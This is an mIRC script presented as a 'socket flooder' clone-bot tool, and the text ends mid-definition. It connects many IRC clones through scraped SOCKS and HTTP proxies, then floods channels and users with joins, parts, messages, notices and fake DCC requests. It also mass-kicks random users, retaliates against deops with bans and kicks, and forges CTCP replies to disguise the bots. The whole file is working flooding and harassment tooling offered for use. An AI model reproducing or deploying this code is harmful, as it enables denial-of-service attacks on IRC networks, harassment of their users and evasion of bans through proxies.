[script] n0=Alias Clone { n1= /dialog $iif($dialog(Clone),-c,-m) Clone Clone n2=} n3=dialog Clone { n4= title "l33t s0ck3t fl00der" n5= size -1 -1 422 366 n6= option pixels n7= tab "Settings", 75, 8 8 404 340 n8= edit "irc.littleproject.de", 2, 60 46 151 21, tab 75 autohs n9= text "Server:", 3, 20 48 34 16, tab 75 n10= edit "6667", 4, 212 46 44 20, tab 75 limit 5 n11= text "Protocol:", 5, 18 76 42 16, tab 75 n12= combo 6, 61 70 60 68, tab 75 size drop n13= box "On Connect", 7, 19 208 238 130, tab 75 n14= box "Nickname and Real Name", 8, 19 115 238 94, tab 75 n15= text "Connects:", 9, 18 100 66 16, tab 75 n16= edit "128", 10, 84 94 44 20, tab 75 limit 4 n17= radio "Random", 11, 22 126 58 20, tab 75 n18= radio "Nicklist:", 12, 22 145 54 20, tab 75 n19= radio "Other:", 13, 22 166 54 20, tab 75 n20= edit "", 14, 80 143 130 20, disable tab 75 autohs n21= edit "", 15, 80 164 130 20, disable tab 75 limit 10 n22= button "&Browse", 16, 212 153 41 20, disable tab 75 n23= text "UserMode:", 17, 34 222 50 16, tab 75 n24= edit "+idxB", 18, 88 218 60 20, tab 75 n25= edit "", 19, 22 253 232 80, tab 75 multi return autohs autovs n26= text "CMDs:", 20, 22 237 106 16, tab 75 n27= box "Proxy/Socks List", 26, 258 38 147 300, tab 75 n28= edit "", 85, 80 185 174 21, tab 75 autohs limit 70 n29= text "IP:", 27, 260 58 26 16, tab 75 n30= text "Port:", 28, 260 78 26 16, tab 75 n31= edit "", 29, 287 53 115 20, tab 75 limit 15 n32= edit "", 30, 287 74 115 20, tab 75 limit 5 n33= button "Add", 31, 273 96 60 20, tab 75 n34= button "Remove", 32, 333 96 60 20, tab 75 n35= button "Import", 33, 273 116 60 20, tab 75 n36= list 34, 260 138 142 172, tab 75 size n37= button "Remove All", 35, 260 311 142 24, tab 75 n38= check "CTCP Replies", 81, 132 95 84 20, tab 75 n39= text "Real Name:", 82, 22 190 56 16, tab 75 n40= button "Clipboard", 83, 333 116 60 20, tab 75 n41= tab "Flooding", 76 n42= box "Nicklist", 37, 12 31 103 236, tab 76 n43= button "Join", 41, 116 37 50 20, disable tab 76 n44= edit "", 42, 167 37 60 21, tab 76 autohs n45= button "Part", 43, 116 58 50 20, disable tab 76 n46= edit "", 44, 167 58 60 21, tab 76 autohs n47= edit "", 45, 228 58 178 21, tab 76 autohs n48= button "Join Part", 46, 116 79 50 20, disable tab 76 n49= edit "", 47, 167 79 60 21, tab 76 autohs n50= edit "", 48, 228 79 178 21, tab 76 autohs n51= button "Message", 49, 116 100 50 20, disable tab 76 n52= edit "", 50, 167 100 60 21, tab 76 autohs n53= edit "", 51, 228 100 178 21, tab 76 autohs n54= button "Notice", 52, 116 121 50 20, disable tab 76 n55= edit "", 53, 167 121 60 21, tab 76 autohs n56= edit "", 54, 228 121 178 21, tab 76 autohs n57= button "Describe", 55, 116 142 50 20, disable tab 76 n58= edit "", 56, 167 142 60 21, tab 76 autohs n59= edit "", 57, 228 142 178 21, tab 76 autohs n60= button "CTCP", 58, 116 163 50 20, disable tab 76 n61= edit "", 59, 167 163 60 21, tab 76 autohs n62= combo 60, 228 163 60 76, tab 76 size edit drop n63= button "Send*", 61, 116 184 50 20, disable tab 76 n64= edit "", 62, 167 184 60 21, tab 76 autohs n65= edit "", 63, 228 184 178 21, tab 76 autohs n66= button "Chat*", 64, 116 205 50 20, disable tab 76 n67= edit "", 65, 167 205 60 21, tab 76 autohs n68= button "Nick", 66, 116 247 50 20, tab 76 n69= radio "Nicklist:", 68, 169 268 54 20, tab 76 n70= radio "Other:", 69, 340 226 54 20, tab 76 n71= radio "Random", 67, 169 247 58 20, tab 76 n72= button "Browse", 72, 340 268 50 20, disable tab 76 n73= edit "", 70, 221 267 118 21, disable tab 76 autohs n74= edit "", 74, 167 226 170 21, tab 76 multi return autohs autovs n75= button "Raw", 73, 116 226 50 20, disable tab 76 n76= edit "", 71, 167 226 170 21, disable tab 76 limit 10 n77= list 38, 14 46 98 219, tab 76 size extsel n78= text "Perform:", 39, 11 284 42 16, tab 76 n79= combo 40, 53 280 62 60, tab 76 size drop n80= text "Sockets:", 23, 12 324 92 16, tab 76 n81= text "Connected:", 22, 11 307 92 16, tab 76 n82= text "0", 24, 70 307 42 16, tab 76 n83= text "0", 25, 70 324 42 16, tab 76 n84= tab "Status", 86 n85= list 123, 14 34 389 280, tab 86 size read multi vsbar hsbar n86= radio "Debug On", 87, 15 320 75 20, tab 86 n87= radio "Debug Off", 88, 89 320 83 20, tab 86 n88= button "Clear DeBug", 999, 190 318 100 20, tab 86 n89= tab "Proxy Fetcher", 97 n90= combo 98, 14 46 200 21, tab 97 size drop n91= button "&Add URL", 99, 215 47 50 20, tab 97 n92= list 100, 14 70 250 79, tab 97 size drop n93= box "URL List", 101, 12 31 390 306, tab 97 n94= box "Taken Proxies/Socks", 102, 14 149 146 186, tab 97 n95= list 103, 17 164 140 167, tab 97 size n96= button "Export", 104, 245 200 84 20, tab 97 n97= text "Total Sites:", 105, 210 260 58 16, tab 97 n98= text "0", 106, 275 260 122 16, tab 97 n99= button "Get List", 107, 265 120 90 20, tab 97 n100= button "Move to Proxy/Socks List", 109, 160 220 169 20, tab 97 n101= text "Completed:", 110, 210 280 58 16, tab 97 n102= text "0", 111, 275 280 122 16, tab 97 n103= text "Socks/Proxies Taken:", 112, 163 242 106 16, tab 97 n104= text "0", 113, 275 242 74 16, tab 97 n105= tab "Ciscos", 500 n106= button "Clear", 108, 160 200 84 20, tab 97 n107= button "Remove Selected", 114, 265 80 90 20, tab 97 n108= button "Remove All", 115, 265 100 90 20, tab 97 n109= button "&Connect", 77, 1 345 70 20 n110= button "&Disconnect", 78, 71 345 70 20 n111= button "&Exit", 79, 351 345 70 20 n112= button "Op.BotNet", 502, 211 345 70 20 n113= button "IP:Ports", 80, 281 345 70 20 n114= button "Stop", 84, 141 345 70 20 n115=} n116=on *:dialog:Clone:Init:*: { n117= Did -a $DName 6 Proxy n118= Did -a $DName 6 Sock n119= Did -c $DName 6 2 n120= Did -a $DName 40 All n121= Did -a $DName 40 Selected n122= Did -c $DName 40 1 n123= Did -a $DName 60 PING n124= Did -a $DName 60 TIME n125= Did -a $DName 60 VERSION n126= Did -a $DName 98 http://sockslist.net/ n127= Did -a $DName 98 http://www.xroxy.com/proxy-type-Socks5.htm n128= Did -a $DName 98 http://www.socks-proxy.net/ n129= Did -c $DName 98 3 n130= Did -c $DName 11 n131= Did -c $DName 67 n132=} n133=on *:dialog:Clone:Edit:*: { n134= If ($Did == 42) { n135= If ($Left($Did(42),1) == $Chr(35)) && ($Count($Did(42),$Chr(32)) <= 1) { Did -e $DName 41 } n136= Else { Did -b $DName 41 } n137= } n138= If ($Did == 44) { n139= If ($Left($Did(44),1) == $Chr(35)) && ($Count($Did(44),$Chr(32)) == 0) { Did -e $DName 43 } n140= Else { Did -b $DName 43 } n141= } n142= If ($Did == 47) { n143= If ($Left($Did(47),1) == $Chr(35)) && ($Count($Did(47),$Chr(32)) == 0) { Did -e $DName 46 } n144= Else { Did -b $DName 46 } n145= } n146= If ($Did == 50) { n147= If ($Count($Did(50),$Chr(32)) == 0) && ($Len($Did(50)) >= 1) && ($Did(51)) { Did -e $DName 49 } n148= Else { Did -b $DName 49 } n149= } n150= If ($Did == 51) { n151= If ($Count($Did(50),$Chr(32)) == 0) && ($Len($Did(50)) >= 1) && ($Did(51)) { Did -e $DName 49 } n152= Else { Did -b $DName 49 } n153= } n154= If ($Did == 53) { n155= If ($Count($Did(53),$Chr(32)) == 0) && ($Len($Did(53)) >= 1) && ($Did(54)) { Did -e $DName 52 } n156= Else { Did -b $DName 52 } n157= } n158= If ($Did == 54) { n159= If ($Count($Did(53),$Chr(32)) == 0) && ($Len($Did(50)) >= 1) && ($Did(54)) { Did -e $DName 52 } n160= Else { Did -b $DName 52 } n161= } n162= If ($Did == 56) { n163= If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(57)) { Did -e $DName 55 } n164= Else { Did -b $DName 55 } n165= } n166= If ($Did == 57) { n167= If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(57)) { Did -e $DName 55 } n168= Else { Did -b $DName 55 } n169= } n170= If ($Did == 59) { n171= If ($Count($Did(59),$Chr(32)) == 0) && ($Len($Did(59)) >= 1) && ($Did(60)) { Did -e $DName 58 } n172= Else { Did -b $DName 58 } n173= } n174= If ($Did == 60) { n175= If ($Count($Did(59),$Chr(32)) == 0) && ($Len($Did(59)) >= 1) && ($Did(60)) { Did -e $DName 58 } n176= Else { Did -b $DName 58 } n177= } n178= If ($Did == 62) { n179= If ($Count($Did(62),$Chr(32)) == 0) && ($Len($Did(62)) >= 1) && ($Left($Did(62),1) != $Chr(35)) && ($Did(63)) { Did -e $DName 61 } n180= Else { Did -b $DName 61 } n181= } n182= If ($Did == 63) { n183= If ($Count($Did(62),$Chr(32)) == 0) && ($Len($Did(62)) >= 1) && ($Left($Did(62),1) != $Chr(35)) && ($Did(63)) { Did -e $DName 61 } n184= Else { Did -b $DName 61 } n185= } n186= If ($Did == 65) { n187= If ($Count($Did(65),$Chr(32)) == 0) && ($Len($Did(65)) >= 1) && ($Left($Did(65),1) != $Chr(35)) { Did -e $DName 64 } n188= Else { Did -b $DName 64 } n189= } n190= If ($Did == 74) { n191= If ($Len($Did(74)) >= 1) { Did -e $DName 73 } n192= Else { Did -b $DName 73 } n193= } n194= If ($Did == 70) { n195= If ($Did(70)) { Did -e $DName 66 } n196= Else { Did -b $DName 66 } n197= } n198= If ($Did == 71) { n199= If ($Did(71)) { Did -e $DName 66 } n200= Else { Did -b $DName 66 } n201= } n202=} n203=Alias Clone.Error { Var %E = $Input($1-,o,Clone) } n204=on *:dialog:Clone:SClick:*: { n205= if ($did == 502) /clone.op n206= if ($did == 503) /clone.mass $did(600) n207= if ($did == 504) /clone.stop n208= if ($did == 507) /sockwrite -n * join $did(600) n209= if ($did == 508) /sockwrite -n * part $did(600) : $+ $taketop n210= if ($did == 509) /f3us $did(600) n211= if ($did == 510) /kick.control n212= if ($did == 999) Did -r $DName 123 n213= n214= If ($Did == 31) { n215= If (*.*.* iswm $Did(29)) && ($Did(30) <= 65535) && ($Did(30) >= 1) { Did -a $DName 34 $Did(29) $Did(30) } n216= Else { Clone.Error Invalid Sock/Proxy or Port } n217= } n218= If ($Did == 32) && ($Did(34).Sel) { Did -d $DName 34 $Did(34).Sel } n219= If ($Did == 33) { n220= Var %F = $SFile($mIRCDir,Clone,Import) n221= If (%F) { n222= Var %I = 1 n223= While ($Read(%F,%I)) { n224= Var %F1 = $Read(%F,%I) n225= If ($Gettok(%F1,0,58) == 2) { Var %F1 = $Replace(%F1,$Chr(58),$Chr(32)) } n226= If ($Gettok(%F1,0,32) != 2) || ($Abs($Gettok(%F1,2,32)) == 0) { Clone.Error Invalid Sock/Proxy file | Return } n227= Else { Did -a $DName 34 %F1 } n228= Inc %I n229= } n230= } n231= } n232= If ($Did == 83) { n233= Var %I = 1 n234= While ($CB(%I)) { n235= Var %F1 = $CB(%I) n236= If ($Gettok(%F1,0,58) == 2) { Var %F1 = $Replace(%F1,$Chr(58),$Chr(32)) } n237= If ($Gettok(%F1,0,32) != 2) || ($Abs($Gettok(%F1,2,32)) == 0) { Clone.Error Invalid Socks/Proxys in Clipboard | Return } n238= Else { Did -a $DName 34 %F1 } n239= Inc %I n240= } n241= } n242= If ($Did == 35) { Did -r $DName 34 } n243= If ($Did == 11) { Did -b $DName 14 | Did -b $DName 15 | Did -b $DName 16 } n244= If ($Did == 12) { Did -e $DName 14 | Did -b $DName 15 | Did -e $DName 16 } n245= If ($Did == 13) { Did -b $DName 14 | Did -e $DName 15 | Did -b $DName 16 } n246= If ($Did == 67) { Did -b $DName 70 | Did -b $DName 71 | Did -b $DName 72 | Did -e $DName 66 } n247= If ($Did == 68) { n248= Did -e $DName 70 | Did -b $DName 71 | Did -e $DName 72 n249= If ($Did(70)) { Did -e $DName 66 } n250= Else { Did -b $DName 66 } n251= } n252= If ($Did == 69) { n253= Did -b $DName 70 | Did -e $DName 71 | Did -b $DName 72 n254= If ($Did(71)) { Did -e $DName 66 } n255= Else { Did -b $DName 66 } n256= } n257= If ($Did == 16) { n258= Var %F = $SFile($mIRCDir,Clone,Import) n259= If (%F) { Did -ra $DName 14 %F } n260= } n261= If ($Did == 72) { n262= Var %F = $SFile($mIRCDir,Clone,Import) n263= If (%F) { Did -ra $DName 70 %F | Did -e $DName 66 } n264= } n265= If ($Did == 60) { n266= If ($Count($Did(59),$Chr(32)) == 0) && ($Len($Did(59)) >= 1) && ($Did(60)) { Did -e $DName 58 } n267= Else { Did -b $DName 58 } n268= } n269= If ($Did == 41) { Clone.Do $Did(40) JOIN $Did(42) } n270= If ($Did == 43) { Clone.Do $Did(40) PART $Did(44) : $+ $Did(45) } n271= If ($Did == 46) { Clone.Do $Did(40) JOINPART $Did(47) : $+ $Did(48) } n272= If ($Did == 49) { Clone.Do $Did(40) PRIVMSG $Did(50) : $+ $Did(51) } n273= If ($Did == 52) { Clone.Do $Did(40) NOTICE $Did(53) : $+ $Did(54) } n274= If ($Did == 55) { Clone.Do $Did(40) PRIVMSG $Did(56) :ACTION $Did(57) $+  } n275= If ($Did == 58) { Clone.Do $Did(40) PRIVMSG $Did(59) : $+ $Did(60) $+  } n276= If ($Did == 61) { Clone.Do $Did(40) PRIVMSG $Did(62) :DCC SEND $Did(63) $Rand(0,4294967294) 1024 $Rand(10000,500000) $+  } n277= If ($Did == 64) { Clone.Do $Did(40) PRIVMSG $Did(65) :DCC CHAT chat $Rand(0,4294967294) 1024 } n278= If ($Did == 66) { Clone.Do $Did(40) NICK } n279= If ($Did == 73) { n280= Var %I = 1 n281= While ($Did(74,%I)) { Clone.Do $Did(40) RAW $Did(74,%I) | Inc %I } n282= } n283= If ($Did == 77) { n284= If (!$Did(34,1)) && (($Did(6) == Proxy) || ($Did(6) == Sock)) { Clone.Error Enter $Did(6) to the $Did(6) list } n285= ElseIf (*.*.* !iswm $Did(2)) { Clone.Error Enter a valid Server } n286= ElseIf ($Did(4) <= 0) && ($Did(4) >= 65535) { Clone.Error Enter a valid Port } n287= ElseIf (!$Did(10)) || ($Did(10) !isnum) { Clone.Error Enter the number clones to connect } n288= ElseIf ($Did(12).State == 1) && ($Exists($Did(14)) == $False) { Clone.Error Nicklist doesnt Exist } n289= ElseIf ($Did(13).State == 1) && (!$Did(15)) { Clone.Error Enter a Nickname } n290= ElseIf ($Did(6) == Sock) && ($Remove($Did(2),.) !isnum) { .Enable #Clone.DNS | .DNS $Did(2) } n291= Else { .TimerClone.Go $Did(10) 0 Clone.Go } n292= } n293= If ($Did == 78) { Did -r $DName 38 | Did -ra $DName 24 0 | Did -ra $DName 25 0 | SockClose Clone.* | Unset %Clone.* | /fo } n294= If ($Did == 79) { SockClose Clone.* | Dialog -x $DName } n295= If ($Did == 80) { Clone.IPs } n296= If ($Did == 84) { n297= Var %I = 1 n298= While ($Sock(Clone.*,%I)) { n299= If (!$Sock(Clone.*,%I).Mark) { SockClose $Sock(Clone.*,%I) } n300= Inc %I n301= } n302= Did -ra Clone 25 $Sock(Clone.*,0) n303= } n304= If ($Did == 99) { n305= Did -a $DName 100 $Did(98) n306= Did -ra $DName 106 $Calc($Did(106) + 1) n307= } n308= If ($Did == 104) { n309= Var %F = $Input(Enter Filename:,ego,Clone) n310= If (%F) { n311= Var %I = 1 n312= While ($Did(103,%I)) { Write %F $Did(103,%I) | Inc %I } n313= } n314= } n315= If ($Did == 107) { n316= Did -ra $DName 111 0 n317= Var %I = 1 n318= While ($Did(100,%I)) { n319= SockQueue CloneGet. [ $+ [ %I ] ] $Gettok($Remove($Did(100,%I),http://,www.),1,47) 80 n320= Set %Clone.Get.URL. [ $+ [ %I ] ] $Gettok($Remove($Did(100,%I),http://,www.),1,47) n321= Set %Clone.Get.Ext. [ $+ [ %I ] ] $Iif($Gettok($Remove($Did(100,%I),http://,www.),2-,47),$Chr(47) $+ $Gettok($Remove($Did(100,%I),http://,www.),2-,47),$Chr(47)) n322= Inc %I n323= } n324= } n325= If ($Did == 108) { Did -r $DName 103 } n326= If ($Did == 109) { n327= Did -r $DName 34 n328= Var %I = 1 n329= While ($Did(103,%I)) { Did -a $DName 34 $Replace($Did(103,%I),$Chr(58),$Chr(32)) | Inc %I } n330= } n331= If ($Did == 114) && ($Did(100).Sel) { Did -d $DName 100 $Did(100).Sel } n332= If ($Did == 115) { Did -r $DName 100 } n333=} n334=on *:SockOpen:CloneGet.*: { n335= SockWrite -n $SockName GET %Clone.Get.EXT. [ $+ [ $Gettok($SockName,2,46) ] ] HTTP/1.0 n336= SockWrite -n $SockName Accept: */* n337= SockWrite -n $SockName Host: www. $+ %Clone.Get.URL. [ $+ [ $Gettok($SockName,2,46) ] ] n338= SockWrite -n $SockName Connection: Keep-Alive n339= SockWrite -n $SockName n340= Unset %Clone.Get.EXT. [ $+ [ $Gettok($SockName,2,46) ] ] n341= Unset %Clone.Get.URL. [ $+ [ $Gettok($SockName,2,46) ] ] n342=} n343=on *:SockRead:CloneGet.*: { n344= SockRead %R n345= If $WildTok(%R,*.*.*.*:*,1,32) && ($Remove($WildTok(%R,*.*.*.*:*,1,32),$Chr(46),$Chr(58)) isnum) { n346= Did -a Clone 103 $WildTok(%R,*.*.*.*:*,1,32) n347= Did -ra Clone 113 $Calc($Did(Clone,113) + 1) n348= } n349= Unset %R n350=} n351=Alias SockQueue { n352= If ($Sock(CloneGet.*,0) <= 6) { SockOpen $1- } n353= Else { Set %Clone.Queue. [ $+ [ $Rand(1,9999999) ] ] $1- } n354=} n355=On *:SockClose:CloneGet.* { n356= If ($Var(%Clone.Queue.*,1)) { n357= SockOpen $Var(%Clone.Queue.*,1).Value n358= Unset $Var(%Clone.Queue.*,1) n359= } n360= Did -ra Clone 111 $Calc($Did(Clone,111) + 1) n361=} n362=#Clone.DNS off n363=on *:DNS: { n364= If ($RAddress) { Did -ra Clone 2 $RAddress | .TimerClone.Go $Did(Clone,10) 0 Clone.Go } n365= Else { Clone.Error Unable to resolve DNS of $Did(Clone,10) } n366= .Disable #Clone.DNS n367= Halt n368=} n369=#Clone.DNS End n370=Alias Clone.Do { n371= If ($1 == All) { n372= Var %I = 1 n373= While ($Sock(Clone.*,%I)) { n374= If ($2 == JOINPART) { SockWrite -nt $Sock(Clone.*,%I) JOIN $3 | SockWrite -nt $Sock(Clone.*,%I) PART $3- } n375= ElseIf ($2 == RAW) { SockWrite -nt $Sock(Clone.*,%I) $Replace($3-,^Nick^,$Clone.Nick($Sock(Clone.*,%I))) } n376= ElseIf ($2 == NICK) { n377= If ($Did(Clone,67).State == 1) { SockWrite -nt $Sock(Clone.*,%I) NICK $Clone.RandNick } n378= If ($Did(Clone,68).State == 1) { SockWrite -nt $Sock(Clone.*,%I) NICK $Gettok($Read($Did(Clone,70)),1,32) } n379= If ($Did(Clone,69).State == 1) { SockWrite -nt $Sock(Clone.*,%I) NICK $Did(Clone,71) $+ $Clone.RandNick(4) } n380= } n381= ElseIf ($2 == KICK) { n382= set %kicknickall $nick($3,0) n383= set %kicknick $nick($3,$rand(1,%kicknickall)) n384= if (%kicknick == Q) || (%kicknick == L) || ($me isin %kicknick) || ($protnick(%kicknick) == ON) || ($clonenick(%kicknick) == ON) goto aaa n385= n386= SockWrite -nt $Sock(Clone.*,%I) $2 $3 %kicknick : $+ $takekick n387= n388= :aaa n389= } n390= Else { SockWrite -nt $Sock(Clone.*,%I) $2- } n391= Inc %I n392= } n393= } n394= If ($1 == Selected) { n395= Var %I = 1 n396= While ($Did(Clone,38,%I)) { n397= If ($Did(Clone,38,%I).State == 1) { n398= Var %J = 1 n399= While ($Sock(Clone.*,%J)) { n400= If ($Sock(Clone.*,%J).Mark == $Did(Clone,38,%I)) { n401= If ($2 == JOINPART) { SockWrite -nt $Sock(Clone.*,%J) JOIN $3 | SockWrite -nt $Sock(Clone.*,%J) PART $3- } n402= ElseIf ($2 == RAW) { SockWrite -nt $Sock(Clone.*,%J) $Replace($3-,^Nick^,$Clone.Nick($Sock(Clone.*,%J))) } n403= ElseIf ($2 == NICK) { n404= If ($Did(Clone,67).State == 1) { SockWrite -nt $Sock(Clone.*,%J) NICK $Clone.RandNick } n405= If ($Did(Clone,68).State == 1) { SockWrite -nt $Sock(Clone.*,%J) NICK $Gettok($Read($Did(Clone,70)),1,32) } n406= If ($Did(Clone,69).State == 1) { SockWrite -nt $Sock(Clone.*,%J) NICK $Did(Clone,71) } n407= } n408= Else { SockWrite -nt $Sock(Clone.*,%J) $2- } n409= } n410= Inc %J n411= } n412= } n413= Inc %I n414= } n415= } n416=} n417=Alias Clone.Conn { If ($Did(Clone,38,1)) { Return $Did(Clone,38).Lines } } n418=on *:SockOpen:Clone.*: { n419= If ($SockErr) { SockClose $SockName | Did -ra Clone 25 $Sock(Clone.*,0) | Return } n420= If (Clone.Sock.* iswm $SockName) { BSet &Clone 1 5 1 0 | SockWrite $SockName &Clone } n421= If (Clone.Proxy.* iswm $SockName) { n422= SockWrite $SockName CONNECT $+($Did(Clone,2),:,$Did(Clone,4)) HTTP/1.1 n423= SockWrite $SockName $CRLF $+ $CRLF $+ $CRLF n424= Clone.Conn.User $SockName n425= } n426= If (Clone.Normal.* iswm $Sockname) { Clone.Conn.User $SockName } n427= Did -ra Clone 25 $Sock(Clone.*,0) n428=} n429=on *:SockRead:Clone.*: { n430= If ($SockErr) { SockClose $SockName | Did -ra Clone 25 $Sock(Clone.*,0) | Return } n431= If (Clone.Sock.* iswm $SockName) && (!$Sock($SockName).Mark) { n432= SockRead &Read n433= If ($BVar(&Read,1,2) == 5 0) && ($BVar(&Read,3) != 0) { n434= Var %Port = $Gettok($LongIP($Did(Clone,4)),3,46) $Gettok($LongIP($Did(Clone,4)),4,46) n435= Var %Serv = $Replace($Did(Clone,2),$Chr(46),$Chr(32)) n436= BSet &Clone.Send 1 5 1 0 1 %Serv %Port n437= SockWrite $SockName &Clone.Send n438= } n439= If ($BVar(&Read,1,3) == 5 0 0) { SockMark $SockName 1 | Clone.Conn.User $SockName } n440= } n441= SockRead %Clone.Read n442= If (%Clone.Read && $did(clone,87).state == 1) { did -a clone 123 %clone.read } n443= Tokenize 32 %Clone.Read n444= Unset %Clone.Read n445= If (** iswm $1-) && (!$Sock($SockName).Mark) { n446= SockClose $SockName n447= } n448= If ($1 == PING) { SockWrite -nt $SockName PONG : $+ $Remove($2,:) } n449= If ($2 == PRIVMSG) && ($Did(Clone,81).State == 1) { n450= If ($4 == :FINGER) { SockWrite -nt $SockName NOTICE $Remove($Gettok($1,1,33),:) :FINGER $FReply($Rand(1,5)) $+  } n451= If ($4 == :PING) { SockWrite -nt $SockName NOTICE $Remove($Gettok($1,1,33),:) :PING $5 } n452= If ($4 == :TIME) { SockWrite -nt $SockName NOTICE $Remove($Gettok($1,1,33),:) :TIME $ASCTime($Calc($Rand($Calc($CTime - 10000),$Calc($CTime + 10000)))) $+  } n453= If ($4 == :VERSION) { SockWrite -nt $SockName NOTICE $Remove($Gettok($1,1,33),:) :VERSION $VReply($Rand(1,10)) $+  } n454= If ($4 == :FINGER) { SockWrite -nt $SockName NOTICE $Remove($Gettok($1,1,33),:) :FINGER $FReply($Rand(1,10)) $+  } n455= } n456= If (($2 == MODE) && (-oooooooooooo iswm $4)) { SockWrite -nt $SockName Mode $3 +oooooooooooo $5- } n457= If (($2 == MODE) && (-ooooooooooo iswm $4)) { SockWrite -nt $SockName Mode $3 +ooooooooooo $5- } n458= If (($2 == MODE) && (-oooooooooo iswm $4)) { SockWrite -nt $SockName Mode $3 +oooooooooo $5- } n459= If (($2 == MODE) && (-ooooooooo iswm $4)) { SockWrite -nt $SockName Mode $3 +ooooooooo $5- } n460= If (($2 == MODE) && (-oooooooo iswm $4)) { SockWrite -nt $SockName Mode $3 +oooooooo $5- } n461= If (($2 == MODE) && (-ooooooo iswm $4)) { SockWrite -nt $SockName Mode $3 +ooooooo $5- } n462= If (($2 == MODE) && (-oooooo iswm $4)) { SockWrite -nt $SockName Mode $3 +oooooo $5- } n463= If (($2 == MODE) && (-ooooo iswm $4)) { SockWrite -nt $SockName Mode $3 +ooooo $5- } n464= If (($2 == MODE) && (-oooo iswm $4)) { SockWrite -nt $SockName Mode $3 +oooo $5- } n465= If (($2 == MODE) && (-ooo iswm $4)) { SockWrite -nt $SockName Mode $3 +ooo $5- } n466= If (($2 == MODE) && (-oo iswm $4)) { SockWrite -nt $SockName Mode $3 +oo $5- } n467= If (($2 == MODE) && (-o iswm $4)) { SockWrite -nt $SockName Mode $3 +o $5- } n468= If (($2 == MODE) && (-o iswm $4)) { SockWrite -nt $SockName Mode $3 +oooooooooooooooooooooo $5- | SockWrite -tn Clone.Sock.* MODE $3 +b $remove($Gettok($1,1,33), :) | SockWrite -nt $SockName Kick $3 $remove($Gettok($1,1,33), :) } n469= n470= If ($2 == 001) { n471= Var %I = 1 n472= While ($Did(Clone,19,%I)) { SockWrite -nt $SockName $Replace($Did(Clone,19,%I),^Nick^,$3) | Inc %I } n473= If ($3) { Did -a Clone 38 $3 } n474= Did -ra Clone 24 $Iif($Clone.Conn,$Clone.Conn,0) n475= SockWrite -nt $SockName Mode $3 $Did(Clone,18) n476= SockMark $SockName $3 n477= } n478= If ($2 == 433) { n479= If ($Sock($SockName).Mark) && ($Sock($SockName).Mark != 1) { n480= If ($Did(Clone,67).State == 1) { .TimerClone. [ $+ [ $SockName ] ] 1 1 SockWrite -nt $SockName NICK $Clone.RandNick } n481= If ($Did(Clone,68).State == 1) { .TimerClone. [ $+ [ $SockName ] ] 1 1 SockWrite -nt $SockName NICK $Read($Did(Clone,70)) } n482= If ($Did(Clone,69).State == 1) { .TimerClone. [ $+ [ $SockName ] ] 1 1 SockWrite -nt $SockName NICK $Did(Clone,71) $+ $Clone.RandNick(2) } n483= } n484= Else { n485= If ($Did(Clone,11).State == 1) { .TimerClone. [ $+ [ $SockName ] ] 1 1 SockWrite -nt $SockName NICK $Clone.RandNick } n486= If ($Did(Clone,12).State == 1) { .TimerClone. [ $+ [ $SockName ] ] 1 1 Clone.Conn.User $SockName } n487= If ($Did(Clone,13).State == 1) { .TimerClone. [ $+ [ $SockName ] ] 1 1 SockWrite -nt $SockName NICK $Did(Clone,15) $+ $Clone.RandNick(2) } n488= } n489= } n490= If ($2 == NICK) && ($Remove($Gettok($1,1,33),:) == $Sock($SockName).Mark) { n491= Var %I = 1 n492= While ($Did(Clone,38,%I)) { n493= If ($Did(Clone,38,%I) == $Remove($Gettok($1,1,33),:)) { Did -o Clone 38 %I $Remove($3,:) } n494= Inc %I n495= } n496= SockMark $SockName $Remove($3,:) n497= } n498= Did -ra Clone 25 $Sock(Clone.*,0) n499=} n500=Alias Clone.Ignore { n501= Var %I = 1 n502= While ($Did(Clone,96,%I)) { n503= If ($Did(Clone,96,%I) iswm $Remove($1,$Chr(58))) { Return $Did(Clone,96,%I) } n504= Inc %I n505= } n506=} n507=on *:dialog:Clone.IPs:Init:*: { Clone.IPs } n508=on *:dialog:Clone.IPs:SClick:2: { Clone.IPs } n509=on *:SockClose:Clone.*: { n510= If ($Sock($SockName).Mark) && ($Sock($SockName).Mark != 1) { n511= Var %I = 1 n512= While ($Did(Clone,38,%I)) { n513= If ($Did(Clone,38,%I) == $Sock($SockName).Mark) { Did -d Clone 38 %I } n514= Inc %I n515= } n516= } n517= Did -ra Clone 25 $Sock(Clone.*,0) n518= Did -ra Clone 24 $Iif($Clone.Conn,$Clone.Conn,0) n519=} n520=Alias Clone.Nick { Return $Sock($1).Mark } n521=Alias Clone.Sock { n522= Var %I = 1 n523= While ($Sock(Clone.*,%I)) { n524= If ($Sock(Clone.*,%I).Mark == $1) { Return $Sock(Clone.*,%I) } n525= Inc %I n526= } n527=} n528=Alias Clone.RandNick { n529= Var %I = $Iif($1,$1,$Rand(24,39)), %J = 1 n530= While (%J <= %I) { Var %C = $Rand(1,0), %N = %N $+ $Iif(%C == 1,$Rand(A,Z),$Rand(a,z)) | Inc %J } n531= Return %N n532=} n533=Alias Clone.Conn.User { n534= If ($Did(Clone,11).State == 1) { n535= SockWrite -nt $1 USER $Lower($Clone.RandNick) "" "" : $+ $Iif($Did(Clone,85),$Did(Clone,85),$Clone.RandNick($Rand(20,70))) n536= SockWrite -nt $1 NICK $Clone.RandNick n537= } n538= If ($Did(Clone,12).State == 1) { n539= Var %N = $Gettok($Read($Did(Clone,14)),1,32) n540= SockWrite -nt $1 USER $lower($clone.randnick) "" "" : $+ $lower($clone.randnick) n541= SockWrite -nt $1 NICK %N n542= } n543= If ($Did(Clone,13).State == 1) { n544= SockWrite -nt $1 USER $Lower($Did(Clone,15)) "" "" : $+ $Iif($Did(Clone,85),$Did(Clone,85),$Did(Clone,15)) n545= SockWrite -nt $1 NICK $Did(Clone,15) $+ $Clone.RandNick(2) n546= } n547=} n548=;$Iif($Did(Clone,85),$Did(Clone,85),%N) n549=Alias Clone.Go { n550= If (!$Did(Clone,34,%Clone.List)) { Set %Clone.List 1 } n551= :Again n552= Var %R = $Rand(0,9999999) n553= If ($Sock($+(Clone.,$Did(Clone,6),.,%R))) { Goto Again } n554= If ($Did(Clone,6) == Normal) { SockOpen Clone.Normal. $+ %R $Did(Clone,2) $Did(Clone,4) } n555= Else { SockOpen $+(Clone.,$Did(Clone,6),.,%R) $Did(Clone,34,%Clone.List) } n556= Inc %Clone.List n557= Did -ra Clone 25 $Sock(Clone.*,0) n558=} n559=Dialog -l Clone.IPs { n560= title "Connected IP Ports" n561= size -1 -1 254 360 n562= option 